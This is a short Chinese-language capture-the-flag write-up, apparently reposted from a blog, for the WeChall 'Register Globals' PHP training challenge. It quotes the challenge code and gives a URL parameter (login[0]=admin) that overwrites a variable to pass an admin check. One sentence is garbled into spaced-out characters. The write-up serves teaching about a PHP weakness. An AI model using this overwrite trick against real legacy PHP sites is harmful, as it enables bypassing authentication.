**WeChall:Training: Register Globals (Exploit, PHP, Training)**

WeChall:Training: Register Globals (Exploit, PHP, Training)

这题所需的知识点是:register global—将所有提交的参数注册为全局变量,进而将某些变量的值覆盖为我们所需要的。更多参考PHP: Using Register Globals - Manual

从32行开始,有下面这段代码:

 1. if (isset($login))
{
        echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
        if (strtolower($login[0]) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }
}

意思是:如果$login[0] === ‘admin’,那么解题成功。
由于在28行已经有下面代码:

 1. $login = array($_POST['username'], (int)$row['level']);

因而, l o g i n [ 0 ] 已 经 被 赋 值 为 login[0]已经被赋值为 login[0]_POST[‘username’],但是可以通过全局变量来覆盖它。

在这里,程序会将GET等语句得到的变量注册成为全局变量,就可以覆盖掉源代码中的变量值。

因此在地址栏输入下面链接,回车即可成功解题

http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

转载: https://www.tuziang.com/combat/1683.html

猜你喜欢

转载自blog.csdn.net/weixin_45669205/article/details/107244016